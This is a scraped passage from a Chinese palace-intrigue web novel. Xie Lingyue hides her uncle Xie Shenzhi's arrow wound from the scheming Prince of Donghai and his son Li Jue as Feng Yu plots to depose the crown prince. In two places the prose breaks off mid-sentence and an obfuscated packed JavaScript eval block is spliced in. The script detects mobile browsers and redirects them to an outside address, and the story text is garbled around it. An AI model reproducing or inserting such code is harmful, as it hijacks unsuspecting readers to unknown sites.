东海王突然没那么想去找谢慎之了。 谢慎之极看重谢灵越,此事天下皆知。 谢慎之绝不会把谢灵越置于危险之地,这亦是无人不晓。 ——谢九绝不会拿昌平当诱饵。 东海王瞥了眼不远处的满目疮痍,怎么瞧怎么觉得那是下一个自己。 在插刀盟友的事情上,谢九做得比他更顺手,更别提他现在与谢九连盟友都不是。 但是不去吧,便是他畏惧了谢九,日后哪怕扳倒了封余,他也很难再占上风。 东海王慢慢踱步向前,“就来。” 谢灵越笑了笑。 ——果然老谋深算的人都多疑。 多疑好呀。 多疑了,才抓不住一闪即逝的机会跟着她去见九叔。 谢灵越翻身上马。 李珏在亲卫的搀扶下跟着爬上马背。 “阿珏,你在来的路上有没有遇到李鸣岐?” 谢灵越与李珏闲话家常。 李珏点点头,“见到了。” “封余有异动,羽林卫紧急调拨人手保护陛下呢。” 李珏往谢灵越身边凑了凑,压低声音与谢灵越道。 周围皆是习武之人,他的压低声音显然对周围人无用,连满脑子阴谋算计的东海王都听到了这句声音并不算大的悄悄话。 谢灵越呀了一声,“那李鸣岐是不是很危险啊?” “不好说。” 李珏叹了口气,“如果真闹起来,羽林卫不一定能打得过封余的亲兵。” 谢灵越顿时紧张起来,“那咱们得赶紧回去,不能让李鸣岐孤军奋战。” 回头一瞧,东海王彼时刚上马,动作慢吞吞的,她不免有些着急,又一次催促道:“王叔,你快一点啊,李鸣岐有危险。” “?” 不是,你是一点不担心你九叔么? 东海王悟了。 ——谢九这厮定然安全得很! 不仅安全,还提前设好了伏兵,只等着他自投罗网。 而面前这个不止一次催他的小县君,便是谢九用来迷惑他的诱饵,一个娇娇弱弱肩不能挑手不能提的小姑娘很容易让人放松警惕,让人不由自主跟着她过去。 思及此处,东海王勒马停下,“昌平,是李鸣岐有危险,还是旁人有危险?” “当然是李鸣岐了。” 谢灵越不假思索道。 东海王挑了下眉,“是么?” 少女心事被点破,谢灵越似乎有些不好意思,面上一红,连忙补上一句,“呃,还有舅舅,舅舅与表兄也很危险。” “哎呀,总之都是很危险啦。” 谢灵越催马向前,又一次催促东海王道:“王叔,咱们别磨磨蹭蹭了,赶紧走吧。” 东海王勒马不前。 如果谢灵越刚才还只是半掩饰的试探,那么现在,便是图穷匕见,近乎撒娇痴缠似的一定要带他走。 余光再瞧谢灵越身侧的萧重照等人,与谢灵越轻快愉悦相比,萧重照几人可谓是杀气腾腾,左手勒马,右手按剑,仿佛随时会拔剑让他血溅三尺。 回头再看周围密林。 虽是午时,却不见鸟雀下来觅食,很明显,这是里面有埋伏才会让飞鸟不敢还林。 东海王笑了。 如此沉不住气的模样,还想让他上当? 谢九这厮也未免太小瞧于他。 东海王道:“昌平,本王还是不同你一起过去了。” “王叔,我九叔等你好久了。” 谢灵越有些意外,但更多的是焦急。 仿佛她今日的任务便是带东海王过去,其他事一律不问。 东海王眼底笑意微深。 幕僚给东海王递了一个眼神。 ——万万去不得。 东海王眸光微动,示意自己知道。 幕僚适时开口,“王爷,封空虽被狼群所阻,但人多势众,来势汹汹,未必所有人都毙命于狼群之下。” “为防万一,您还是留一些人在这里清理战场,提防漏网之鱼趁我们走后偷偷去给封余通风报信。” “也对哦。” 李珏点头道:“封空带过来那么多人呢,不一定所有人都死了。” “灵越,要不派人传信,让你九叔过来?” 李珏道。 谢灵越有些不开心,“可是,我九叔在等你们呢。” 东海王越发坚信自己的怀疑。 ——谢九这厮果然一肚子坏水,竟让昌平来哄他过去。 李珏挠了挠头,“要不,我陪你去找你九叔?” 谢灵越蹙了蹙眉,极不情愿,“你去有什么用?我九叔等的又不是你。” 李珏指着狼群走后的密林,脸上又是一白,“可是这里这么可怕,你难道让我留在这里清理战场吗?” “......胆小鬼!” 谢灵越十分嫌弃。 东海王轻捋胡须,此时倒不嫌弃自己好大儿的胆小怕事了。 “昌平,珏儿素来体弱,不宜留在此地,让他陪你去找九郎吧。” 东海王道:“我只有珏儿一个儿子,他去与我去没什么区别。” 话已至此,谢灵越只好同意,“好吧,那我与阿珏一同去了。” “去吧,早些回来。” 东海王微颔首。 李珏看到密林的场景胃里便翻腾不止,片刻不想在这儿待,东海王声音刚落,他便催马向前,逃似的从路口跑开。 “灵越,快点!” 李珏催促谢灵越。 谢灵越这才长舒一口气。 李珏远不如东海王精明,只要东海王不跟着过来,九叔的伤势便有可能遮掩过去。 谢灵越骑着马,哒哒去追李珏,“来了。” 楠竹亭离宫苑并不远,骑马不过半小时,谢灵越一行人便抵达宫苑。 宫苑附近的血迹早已被清理干净,卷草纹的红色锦毯铺在上面,仿佛什么都不曾发生。 谢慎之的心腹降阶相迎,视线略在李珏身上停留,似乎对他的到来有些意外。 谢灵越心下了然。 ——九叔的人比她还会演戏呢。 可会演戏还不够,九叔身受重伤,如何瞒得过李珏才是最紧要的事情。 李珏虽不如东海王老奸巨猾,但也不是一个容易被糊弄的人,想要在他眼皮子底下瞒天过海不是一件容易的事情。 “怎不见东海王?” 心腹左顾右盼。 谢灵越扶着萧重照的手跳下马,“别提了,阿珏不敢留在那清理尸首,非要跟着我一起过来,王叔无法,只好自己留在那了。” “那里就是很可怕啊。” 李珏下了马,一拐一瘸跟在谢灵越身后,探头探脑往里看。 “九郎呢?收拾好了吗?” 李珏问:“封余有异动,单靠羽林卫挡不住他,咱们得快点过去。” 谢灵越心下一紧。 第二道宫门缓缓打开。 闷沉马蹄声响起,谢字旌旗闯入众人视线。 而旌旗之下,是玄色战甲冷冽,在金乌之下闪着幽冷的寒光。 谢灵越呼吸蓦地一紧,险些脱口而出。 九叔竟穿了战甲? 他伤得那么重,如何能穿甲胄?! 可转念一想,又在情理之中。 正是因为九叔伤得重,所以他才只能穿甲胄遮掩——甲胄颇重,正常人穿了甲衣之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13997273|148360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后行动不如往日利索,哪怕因为伤重而行动之间有些迟缓,在外人看来也是因为战甲太重的缘故,而不会想到是身受重伤。 “咦?九郎穿了甲衣?” 李珏眼前一亮,凑到谢灵越身边,低头与她耳语,“灵越,我觉得九郎穿甲衣比李鸣岐穿甲衣更威——” 话未说完,便见谢慎之锐利视线落在自己身上,如武库森森,矛戟在前。 李珏心头一跳,立刻与谢灵越拉开距离。 他与谢灵越的距离稍远,男人视线从他身上漫不经心错开,仿佛什么都没发生过一般。 “九叔本就比李鸣岐有气势。” 谢灵越道。 李珏道“我当然知道这个道理,以前不是没有对比过吗?” 刚被谢慎之摄人的视线瞥过,李珏心有余悸,不太敢与谢灵越离得太近,瘸着腿走在她身后,态度也没了刚才两人独处时的亲密,更不敢与谢慎之过多攀谈,免得让那刀剑似的眼睛再次落在自己身上。 只是他极少见谢慎之身着甲胄,心里还是有些好奇,偷偷瞄着谢慎之,继续与谢灵越说话:“奇怪,明明都是甲胄,怎么穿在九郎身上就完全不一样了?” “这有什么奇怪的?” 谢灵越怕他瞧出端倪,便道:“我九叔模样好,穿什么都好看。” “......” 行吧,这的确是句大实话——江左谢九,占尽金陵风流。 李珏撇了撇嘴,不再去瞧谢慎之,在亲卫的搀扶下去爬自己的马,“灵越,我穿甲胄也不差的。” 但他腿伤尚未好利索,上马下马颇为艰难,与身着玄甲不怒自威的谢慎之相比,爬了两次都没爬上马背的他像是水塘里笨拙的鸭。 “算了,我今日不骑马了。” 李珏甩开亲卫的手,“宫苑有车辇吗?我要做车辇。” 谢慎之凤目轻眯。 与颠簸的马背相比,受伤的人坐车辇显然是一个更好的选择。 谢灵越道:“有是有,但是车辇没有骑马快。” “我又不冲锋陷阵,快点慢点又如何?” 李珏道:“宫人呢?让他们快准备车辇来。” 小宫人殷勤送来车辇。 李珏挑帘而上,回头对谢灵越伸出手,“来,咱们一起坐。” 谢灵越拉着他的手,与他一同上了车辇。 回头瞧谢慎之,男人面沉如水,看不出任何情绪,仿佛昨夜穿胸而过的那支弩/箭是她的错觉一般。 可她知道,不是错觉。 如果不是九叔反应快,那支弩/箭能要了她的命。 九叔伤得如此之重,如何经得起战马的颠簸? 他应该坐在轿撵里,这样对他的伤势更有利。 可是他不能,一但与李珏一样乘车辇,便是做实了他受伤的事情。 谢灵越嘴角紧抿。 谢慎之视线落在谢灵越身上,微颔首,示意自己无碍。 谢灵越心头一酸,眼泪差点掉出来。 怎么可能无碍呢? 那么锋利的弩/箭,又是淬了毒的,几乎能要人性命。 也就是九叔身体好,军医又用了重药,这才勉强让九叔看上去与平时似乎没什么两样。 可这只是表象。 箭伤究竟有多疼,只有九叔自己知道。 谢灵越抿了抿唇,放下轿帘。 ——不行,她得想办法与李珏父子分开,再这样熬下去九叔会撑不住的。 车轮滚动,众人出行。 小宫人摆上了松子点心并茶水。 李珏一边吃茶,一边与谢灵越说话,“灵越,你别太担心了,李鸣岐肯定没事的。” “他的骑射功夫比咱们好多了,封余的人不一定会是他的对手。” 李鸣岐三字再次从轿撵里响起,轿撵外的谢慎之不悦皱眉。 长风扬起轿撵的轿帘,他便微眯着眼,透过轿帘的缝隙往里瞧。 大抵是担心李鸣岐,谢灵越的茶水有些喝不下去,“但愿如此吧。” “希望他吉人天相,不会受伤。” 谢慎之眸色又深一分。 “哎呀,灵越,你不要担心了。” 李珏舒舒服服地靠着鹊上梅梢的引枕,“李鸣岐厉害着呢,他才不会受伤呢。” 声音刚落,余光便瞥见自轿帘缝隙处看过来的一双眼,阴鸷锋利,仿佛是淬了毒的剑。 “!!!” 不是,同乘一辆车辇都不行吗? ——他这会儿离谢灵越远着呢! 李珏吓得一哆嗦,手里抓的松子洒了满衣襟。 “九九九九郎,你要上来吗?” 惊惧交加,李珏的话都说得不利索。 ——他觉得自己应该在车底。 16.第 16 章 第十六章 谢灵越背对着谢慎之而坐,自然不曾看到轿帘外的谢慎之的视线。 见李珏吓得哆哆嗦嗦,甚至松子洒了满身,她不免有些纳闷——密林有这么可怕吗?怎么还没缓过来呢? 可转念一想,对于李珏这种养尊处优的世子来讲,密林里发生的事情只怕是他做梦都没有梦到过的地狱,哪会在那么短的时间内就能缓过来呢? 别说李珏了,就连她自己回想起来也怕得很,只是没李珏这么明显。 可想到那些人是为了杀九叔才会死在那,她便觉得还是那些人死得好。 如果二者只能活一个,她当然希望活着的人是九叔。 “你喊我九叔做什么?” 李珏吓得不成样子,谢灵越有些看不过去,顺手扶了一把,对李珏道:“我九叔不喜欢坐轿撵。” 但她的手刚刚触及到李珏肩膀,少年便剧烈一抖。 “我、我自己能坐好。” 李珏道。 他触电似的往后缩,仿佛谢灵越不是好心来扶他,而是要将他推到深渊地狱一般。 “......” 明白了,这是看到她九叔了呢。 ——九叔不喜欢她与任何人太过亲密。 世子李珏也好,太子李珪也罢,只要九叔在旁边,他们对她都是客客气气的,从不与她有任何的肢体接触。 谢灵越叹了口气,慢慢转身,“九叔,你要来坐轿撵吗?” 这句话当然是问了也白问。 九叔伤得那么重,如果跟李珏同乘一个轿撵,肯定会被李珏发现的。 但下一个瞬间,是凉风从外面涌来,冰冷的玄甲带着清冽的雪松味,自她身后将她罩在里面。 “今日风寒,倒也可以坐车辇。” 九叔的声音在她头顶响起。 “?” 可是,与李珏同坐一辆车辇,是会被李珏发现伤口的呀! 谢灵越有些疑惑,回头去瞧自己身后的人。 但尚未等她转身,谢慎之的掌心已落在她肩膀,按着她肩膀稍稍将她往一边挪了挪,将她与李珏的剧烈隔得更远。 而被她空出来的那个位置,便由谢慎之侧身坐下。 有日头从轿帘处照进来,在麒麟瑞兽的玄甲上染上一层浅浅的金光。 落在她肩膀的手收了回去。 那双手看上了李珏方才给她剥的松子。 剥好的松子被李珏放在她面前小几上的雨过天晴色的小碟里,他便探手一捻,抓了几粒送到自己嘴边。 不像一个险些被弩/箭夺去性命的重伤垂危的人,更像是一个担心侄女被纨绔哄骗的多心长辈,哪怕知道自己不合时宜,也要挤上马车横在两人之间。 但谢慎之本就高大挺拔,穿上玄甲之后,便威势愈显,压迫性更强,大刀阔斧往中间一坐,让原本还想瞧瞧他身上甲衣的李珏挤得眼睛不敢再乱瞄,团吧团吧自己的衣服往角落里缩了又缩,努力降低着自己的存在感。 “松子甚好。” 谢慎之吃着松子,昳丽凤目斜着李珏,“今年的新货?” 李珏结结巴巴,“啊?呃,新货,新货。” 谢灵越明白了。 这是以攻为守,反客为主。 九叔在外的口碑并不算好,在很多人眼里,他与残暴嗜杀的封余没甚区别,不过是封余做事在明处,而他做事在暗处,且报复心更强罢了。 这样的九叔自然是让人不寒而栗的,更是让人不敢与他打交道的,一如现在的李珏。 如果九叔骑在马背上,李珏尚会挑开轿帘瞄两眼,看他骑马姿势是否与旁人不一样。 可如果九叔主动来坐轿撵,在轿撵上若无其事与李珏说话,那么心虚害怕的便是李珏,不仅不会往他身上瞧,还会处处躲避他让人如芒在背的锐利视线,别说观察他是否受伤了,这会儿连与他说话都会结巴起来。 还是九叔有办法! 谢灵越稍稍松了口气。 谢灵越抬手斟茶。 “九叔,吃茶。” 谢灵越道。 缩在角落里的李珏觉得哪里有些不太对劲。 偷偷瞄了眼谢灵越的茶盏,知道哪里不对劲了。 ——这是谢灵越方才用过的茶盏,上面还有着极淡极淡的口脂印。 李珏张了张嘴,想提醒一下极少在意这种细枝末节小事的谢灵越。 年龄在这儿放着,她与谢慎之该避些嫌了。 可想想谢慎之刚才毒蛇似的眼神,李珏忍住了,没说话,只偷偷摸摸去瞧谢慎之的反应。 谢慎之从不是心事外露的人,又或者说相依为命长大的两个人本就比旁人更加亲一些,男人捏着谢灵越塞到他手里的茶盏,面无表情将茶送到嘴边。 一饮而尽。 李珏想说的话瞬间咽回肚子里。 果然是他心理过于阴暗了。 看谢慎之这反应,估摸着压根没把茶盏的事情放在心上。 李珏将视线从谢慎之身上彻底移开。 车轮滚滚向前,速度极快。 吃完茶的谢慎之将茶盏放在案几,给出自己的评价,“茶不错。” “那当然啦,这是雀舌茶。” 谢灵越道。 时下贵族们喜饮雀舌茶,谢灵越尤甚。 伴随着清新怡人的茶香,茶叶在茶水中抽长铺开,既好看,又好喝,是谢灵越最喜欢喝的茶。 “可惜去岁大旱,雀舌茶减产许多,地方送过来茶叶不及往年的一半多。” 怕谢慎之伤口疼,谢灵越说话与他分心,“就这一些茶叶,还被封余拿走了大半,说什么要褒奖麾下的将士们。” “全都是借口,他就是想自己独吞雀舌茶。” 谢灵越道:“将士们出生入死,做的是刀口舔血的活儿,奖赏他们茶叶,还不如奖赏他们金银珠宝与宅院来得实惠。” 谢慎之微阖眼,闭目养神,静静听着谢灵越絮絮叨叨的话。 他抬手,虽没有睁眼,但掌心仍稳稳落在谢灵越发间。 少女长发如瀑,似绸缎般柔软光滑,只是上面沾染的血迹尚未来得及清洗,便黏在发丝上面,将发丝黏成一缕一缕。 他便将手指插/进长发里,慢慢疏通那些成缕的发片。 动作很轻柔,没有扯痛谢灵越头皮。 谢灵越便窝在引枕上,舒服地眯着眼,任由他抓着自己的发。 李珏瞥见俩人的动作,那种似是而非的怪异感又来了。 他不是李鸣岐那种洁身自好的人,亦不是在几位权臣的威压下连个侍妾都不敢有的太子。 他善弄风月,亦知如何哄女孩子开心,是金陵城有名的浪荡子。这也是谢慎之对他严防死守的最主要原因,怕谢灵越被他哄骗了去。 一但懂了男女之事,很多那些李鸣岐这种未经人事的人完全不会注意到的细节落在他眼里便是另外一个意思。 ——谢慎之对谢灵越的态度不太对劲。 “对于将士们来讲,他们的确更喜欢金银珠宝。” 谢慎之声色淡淡,“至于雀舌茶,还是留给阿越享用为好。” 谢灵越十分开心,“那便说好了,我等着九叔来给我送雀舌茶。” 李珏如梗在喉。 啊,或许是他多心了呢? 自幼一同长大的人,又是相依为命的人,比寻常人亲近些也是正常的? 李珏缩在角落里思绪乱飞。 但他偏偏又瞥见,谢慎之拨弄着谢灵越的发,手指插得很深,那个位置差不多能触及到谢灵越的后脖颈,再怎样的亲近的亲人,做这个动作也有些逾越,但不懂风月的人对这种事情很迟钝,又或者说隐约意识到了,但不知道这种意识是什么,只微微侧了下脸,让自己莹白色的脸完全暴露在暖阳下,与抚弄她的男人脸对脸。 “别动。” 男人声音平淡,没有任何情绪。 谢灵越便不动了,乌湛湛的眼睛看着他,眼底是清澈的疑惑。 快拍开他的手! 李珏几乎脱口而出。 可是他不敢。 面前这个人是能轻松扭断他脖子的谢九,别说他只是做这种事情,哪怕他更进一步,他也只能眼睁睁看着。 禽兽! 下流! 兔子还不吃窝边草呢! 李珏在心里把谢慎之骂了千百遍。 然后他便看到,谢慎之的手指缓缓向下,慢慢从裹着那片后脖颈的衣襟里抽出一片染血的枯叶,在少女略显苍白的肌肤上划出一道红。 “不难受么?” 谢慎之两指夹着枯叶,问谢灵越。 谢灵越恍然大悟,“哦,原来是叶子,我还以为是衣服料子不好的缘故。” “???” 就这?就这?! 李珏觉得自己丰富的经历受到了严重侮辱。 谢慎之抬手,将枯叶送出轿帘。 半阖着的眼缓缓睁开,斜睥着脸色格外复杂的李珏。 “在世子眼中,谢九不过如此?” 谢慎之声音凉凉。 李珏惊悚回神。 谢慎之怎么知道他在看他?他不是在闭目养神吗?! 李珏对谢慎之的敏锐又一次有了更加直观的认知。 “.......没、不是。” 李珏结巴说道,“九郎光风霁月,是我以小人之心度君子之腹了。” 谢灵越没听懂俩人话里的机锋,“什么?” “没什么,没什么。” 李珏忙给自己斟了一盏茶,以饮茶来掩饰自己的尴尬。 谢慎之漠然收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14010409|148360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回视线。 “哦。” 谢灵越似懂非懂。 不管怎样,李珏的心思只要不在九叔身上就好! 一行人很快来到楠竹亭,与东海王汇合。 谢慎之没骑马,东海王眼前一亮,顿觉此人定然受伤。 他这个蠢儿子还是有点用处的,知道引谢慎之坐马车来观察谢慎之的身体如何。 东海王心情大好,在议事之际眼睛毫不避讳地往谢慎之身上瞄。 但谢慎之面色如常,行动之间丝毫不见受伤的痕迹,别说受伤了,他觉得现在的谢慎之还能一骑当千冲破封余的阵营。 事情议完,东海王仍未探出个所以然,便趁众人齐齐赶赴天子所在的明光宫的时候,自己稍稍落后,给自己的好大儿使了一个眼色,问他在车辇上可曾发觉谢慎之的异样。 李珏彼时满脑子都是谢慎之的动作,以及他话里凉凉的嘲讽,东海王一问,才发现自己这一路压根没往谢慎之身上瞧一眼,自己的思绪完全被谢慎之牵着走。 “我也不知道啊。” 李珏懊悔道:“我这一路都没瞧他。” “蠢东西!” 东海王一巴掌拍在李珏后脑勺,差点把人从马背上拍下来。 “你不看谢九你看谁?” 东海王压低声音道。 刚挨完一巴掌,李珏这会儿有经验了,与东海王拉开距离才回话,“我在看灵越啊。” “......” 他怎么生了个这么一个不求上进的草包! 东海王气结。 谢慎之耳朵微动,慢慢咽下喉间的腥甜。 一行人迅速奔赴明光宫。 封空迟迟没有传来消息,封余心中起疑,便做最坏打算,命麾下将士把帝王与太子皇子困在明光宫,自己去寝殿找封皇后。 “你的身体如何了?” 封余开门见山,目光落在封皇后平坦小腹上。 封皇后对镜理妆,懒懒说道,“还是那个老样子,没怀孕。” “兄长想借我的孩子以令诸侯的打算怕是要落空了。” 封余眸光微冷,“没用的东西。” “兄长在骂谁?” 封皇后啪地一声摔了手里的玉梳。 封余不耐烦道:“当然是那个老东西,你以为是谁?” “你青春鼎盛,定然不是你的问题。” “.......哦。” 封皇后的脸色这才好看起来,拿起被自己摔断的凤纹玉梳,继续慢悠悠梳着自己的长发。 封皇后道:“阿兄,自长公主殿下薨逝后,这宫里便再也没有孩子降生了。” “陛下子嗣如此不丰,阿兄需早作决断才是。” 铜镜里映着她姣好容颜,将门虎女,眉眼之间颇具英气。 她看着自己与兄长极为相似的眉眼,而她的旁边,却是兄长的独目。 封皇后眸色无声幽深,恨意如毒蛇,顷刻间爬满她的心头。 “太子年岁已长,不可为你我所用。” 封皇后继续说道:“二皇子时年九岁,可托大事。” 封余沉吟片刻,吩咐左右,“取诏书来。” 是夜,大将军封余欲矫诏废太子,立二皇子为储君。 消息传得飞快,很快被谢灵越一行人得知。 谢灵越脸色微变。 一但诏书颁下,帝王与太子便只有死路一条。 而只有九岁的二皇子,便是封氏兄妹的新傀儡。 大虞自建/国以来便有帝王崩逝太后辅政的传统,封余此时已权势极盛,如果封皇后再临朝称制,这九州天下岂不是彻底成了封氏兄妹的囊中物? 东海王心情大好。 他与谢九不一样,谢九想匡扶朝政,但他想谋取江山,情况越乱对他越有利,最好封氏兄妹把朝政搅得一团糟,这样他才能浑水摸鱼。 只死天子太子怎么够呢?最好连碍眼的二皇子一并死了。 天子绝了嗣,他这个藩王才更容易上位。 “唉,封余动作太快了。” 东海王半真半假叹了口气,拿眼睛去瞧谢慎之,“九郎,你说咱们现在该怎么办?” 他觉得谢九定然眉头紧锁,一脸郁色。 但完全没有。 身着玄甲的谢慎之眉头微不可查地蹙了一下,神色随即恢复平静,余光瞥到谢灵越一脸担忧,他便笑了一下,抬手理了理谢灵越的长发。 那些散乱的长发被他的手指梳拢到一起,他的手指便慢慢向下,捻起谢灵越身上氅衣的衣带,慢条斯理将氅衣系紧。 “九叔去去就来。” 谢慎之对谢灵越道:“你与重照在一起,猎几只野味等我。” 仿佛等待他的不是九死一生,而是去给谢灵越取些她喜欢的胭脂水粉。 17.第 17 章 第十七章 谢灵越悬着的心一下子便落回了肚子里。 她对九叔有一种盲目的信任。 盲目到哪怕天塌下来,九叔都能把天撑起。 ——只要九叔在,一切的问题便不再是问题。 只是......九叔现在伤得很重。 谢灵越视线落在谢慎之胸膛。 像是察觉她心思,给她系衣带的男人笑了笑,手指刮了下她鼻梁。 “怕什么?” 谢慎之瞥了一眼身后的东海王,声音不急不缓,“有重照保护你,你很安全。” “可我担心你啊。” 谢灵越声音转低,“九叔,你要早点回来。” 她握着谢慎之的手,墨色瞳孔在眼眸里颤了颤,“你答应过我的,要把封余抢走的雀舌茶都拿给我的,你不能食言。” “知道。” 谢慎之莞尔,“九叔从不食言于你。” “府君,咱们走吧。” 亲卫拱手。 谢慎之微颔首,手指从谢灵越手中抽离。 长风鼓起猩红色云纹披风。 哒哒的马蹄声如天雷压云,直奔明光宫而去。 谢灵越抬起头,眼睛一眨不眨地看着谢慎之渐渐消失在狭长陡峭小道中的背影。 东海王挑了下眉。 就这么去了? 不怕自己被封余以逸待劳一网打尽? 到底还是年轻,不知道兵变的危险性。 东海王啧了一声。 这样也好,谢慎之与封余两败俱伤,他才好坐收渔利嘛。 ——他在羽林卫里亦安插了人手,封余如果敢送帝王太子归天,他便敢让二皇子跟着一同上路。 帝王一脉都死绝,属于藩王的时代才能到来嘛。 东海王打着自己的小算盘,慢悠悠跟着谢灵越一起赶路,并未追上谢慎之。 “年轻就是好啊,几个昼夜没合眼,还能有这么好的体力。” 东海王道:“本王老了,跑不动喽,不能跟九郎一起去勤王了。” 话毕点了些亲卫,让他们去帮助谢慎之。 谢灵越知道他在做面子活,也不拆穿他,只是点点头,说道:“舅舅说得是。” “您已经上了年龄,这些打打杀杀的事情便交给年轻人吧。” “我记得江王越王两位舅舅也来了,有他们帮着九叔,九叔定会没事的。” 谢灵越道。 东海王动作微微一顿。 兵变兵变,讲究的便是一个快准狠。 杀政敌,稳朝堂,立新君,这么一道流程完整走下来,才能叫兵变,否则便是自寻死路,给别人做嫁衣。 很显然,谢慎之在给旁人做嫁衣。 他身上虽流着天家皇室的血,但入嗣到谢家,便意味着他与皇位再无缘分,最高不过一个权臣罢了。 而他虽有野心,但无谋朝篡位之心,所以在天子一脉尽数死绝之后,他只会拥立新君,而不是自立为王。 ——这是他愿意与谢慎之合作的最主要原因,谢慎之对皇位毫无想法。 可藩王那么多,宗室更是数不胜数,谢慎之凭什么拥立他? 如昌平所言,江王年轻,越王亦年幼,无论哪一个,都比拥兵自重的他更适合当一个傀儡。 天下未有无功而帝王者。 此次兵变,如果他不全力以赴,而是在这坐山观虎斗的话,那么等待他的,绝对不是坐收渔利,而是谢慎之平息封余之乱后对他的一击必杀。 谢慎之志在重塑朝堂,绝不可能容忍一个有能力掌控朝堂的帝王登上皇位。 东海王眸色微深。 “本王虽老,但张得开弓,抽得起剑,还未到老态龙钟的程度。” 东海王呵呵一笑,“如今天子蒙难,本王怎能不勒兵勤王?” “儿郎们,随我杀入明光宫,救天子储君于水火之中!” 东海王振臂一挥,欲领兵去追谢慎之。 李珏连连摇头,往后退了几步,“父王,你去就行了,我就不去了。” “我与灵越留在这儿,等你和九郎的好消息。” “......” 子不类父! 东海王十分嫌弃,留下一队人马保护没甚出息的好大儿,自己领兵急奔明光宫。 马蹄卷起黄尘,李珏立刻又驱马往身后退了退,免得让尘沙弄脏自己的衣服。 烂泥扶不上墙的行为让萧重照等人看得心里直翻白眼。 不管东海王忠心如何,但好歹是一代雄主,怎就生了李珏这种心无大志甚至乐不思蜀的刘阿斗? 谢灵越早已习惯。 谢慎之的身影彻底消失在小道尽头,谢灵越这才收回视线,余光瞥见萧重照以眼神示她,似是要与她借一步说话,便催马上前,与李珏拉开距离,问萧重照道:“怎么了?九叔是另有安排吗?” “县君聪慧。” 萧重照微颔首,“府君曾有言,东海王父子不可托,待他走后,便让我带县君去寻阳邑王,寻求阳邑王的庇护。” 谢灵越眼皮轻轻一跳,以为自己听错了,“阳邑王?你确定是阳邑王?” “正是阳邑王,绝不会有错。” 萧重照刚听到这三个字的时候比谢灵越更震惊。 谢灵越心头一惊。 九叔恨阳邑王入骨,如今的情况究竟坏到了什么程度,竟让九叔愿意放弃仇恨与阳邑王联手? “好,我们便去寻阳邑王。” 事关谢慎之的安危,谢灵越没有任何犹豫,便道:“带上阿珏,阳邑王妃是他表姐,兴许能看在他的面子上让咱们见阳邑王一面。” 萧重照点头道:“全听县君安排。” 谢灵越催马来到李珏身边,“阿珏,你要不要与我一起去找阳邑王?” “找他?” 李珏吓了一跳,“找他做什么?你九叔最恨他了,你去找他,难道不怕你九叔生气吗?” “我知道九叔讨厌他。” 谢灵越拢着身上的氅衣,“可九叔从未上过战场,更没有打过仗,他未必能在排兵布阵上赢了封余。” 李珏道:“我知道啊,所以我没拦我父王啊,让我父王跟着谢九一同去了。” “你父王难道打过仗?” 谢灵越道。 “打是打过,但是输得多赢得少。” 李珏嘿嘿一笑。 谢灵越道:“这就是了。” “封余是沙场宿将,我九叔与你父王未必能在他手里讨到便宜,更别提除了羽林卫之外,禁卫军几乎都听他指挥,我们在兵力上完全不占优势。” “咱们得去找阳邑王。” 谢灵越道:“他是藩王里唯一一个打过仗而且打过很多胜仗的王爷,如果他愿意出面的话,咱们的胜算便会大很多。” 李珏连连摇头,“我劝你还是歇了这个心思吧。” “当初他连战连捷,威震江北,朝野上下要陛下退位让贤的铺天盖地。” 李珏道:“如果不是你阿娘手段过人,夺他兵权,收他府兵,这会儿坐在明光宫的人,只怕未必是你亲舅舅。” 回想往事,李珏感慨万千,他虽不像他父王,可与那位铁腕长公主相较,灵越亦显柔弱。 思及此处,李珏顿觉十分安慰,越发与谢灵越交好。 “你阿娘活着的时候打压他也就罢了,临到死了,又摆了他一道,让他彻底闲赋在家,绝了仕途。” 李珏道:“甚至就连他唯一的亲儿子也与他反目,险些做出弑父的举动,被你阿娘弄来入嗣你谢家,做了你九叔。” “你想啊,深仇大恨横在这儿,他怎会去帮你?” 李珏认真与谢灵越分析,“他如果见了你与你九叔,只怕第一件事便是抽剑送你俩归西。” “如果说金陵城谁最恨你和谢九,只怕他要排在封余前面。” 李珏说道。 谢灵越眉头微蹙,“你说的道理我都明白,可我还是想试试。” “阿娘病逝后,阳邑王未必没有反扑的能力,但他没有搅弄朝堂,只守着你表姐过日子,说明在他心里,大虞的安稳比他个人的荣辱更重要。” “你这是病急乱投医。” 李珏泼冷水道:“你也不想想,如果他真的出手了,那他会放弃唾手可得的皇位去让你九叔拥立新帝吗?” 谢灵越眼皮轻抬,有些意动。 ——也不是不行。 阳邑王年过四十,只有九叔这么一个儿子,如果他真得了皇位,百年之后还是要把帝位交到九叔手里。 当年阿娘病重托孤九叔时,旁人以为她在睡觉,但她却听得真真的,阿娘给阳邑王下了药,他这辈子别想再有其他孩子,九叔是他唯一的儿子。 这是阿娘给九叔留的后路,如果他入嗣谢家后悔了,便让他去走回头路。 阳邑王没有其他选择,再怎样对九叔不满,也只能捏着鼻子重新将九叔认下来。 “那就随便他了。” 谢灵越道。 “......” 这怎么还歪打正着了呢? 李珏嘴角微抽,“要去你去,我才不去找阳邑王呢。” “他性子古怪得很,指不定会跟封余一样踩断我腿骨。” “好吧,那我就自己去了。” 谢灵越便道:“你就留在这儿等你父王吧,胆小鬼!” 谢灵越领人去找阳邑王。 萧重照早就得了谢慎之的吩咐,如果到紧急关头,可去寻阳邑王。 